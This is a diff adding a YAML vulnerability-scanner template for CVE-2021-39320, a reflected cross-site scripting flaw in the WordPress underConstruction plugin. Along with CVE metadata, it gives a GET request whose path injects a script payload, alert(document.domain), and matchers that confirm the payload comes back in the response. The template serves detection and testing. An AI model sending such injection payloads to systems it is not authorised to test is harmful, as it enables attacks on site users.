diff --git a/cves/2021/CVE-2021-39320.yaml b/cves/2021/CVE-2021-39320.yaml
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+id: CVE-2021-39320
+
+info:
+  name: underConstruction < 1.19 - Reflected Cross-Site Scripting
+  author: dhiyaneshDK
+  severity: medium
+  description: The underConstruction plugin <= 1.18 for WordPress echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file. On certain configurations including Apache+modPHP, this makes it possible to use it to perform a reflected Cross-Site Scripting attack by injecting malicious code in the request path.
+  reference:
+    - https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-39320
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2021-39320
+    cwe-id: CWE-79
+  tags: wordpress,xss,cve,cve2021,wp-plugin
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-admin/admin.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E/?page=under-construction'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '</script><script>alert(document.domain)</script>'
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200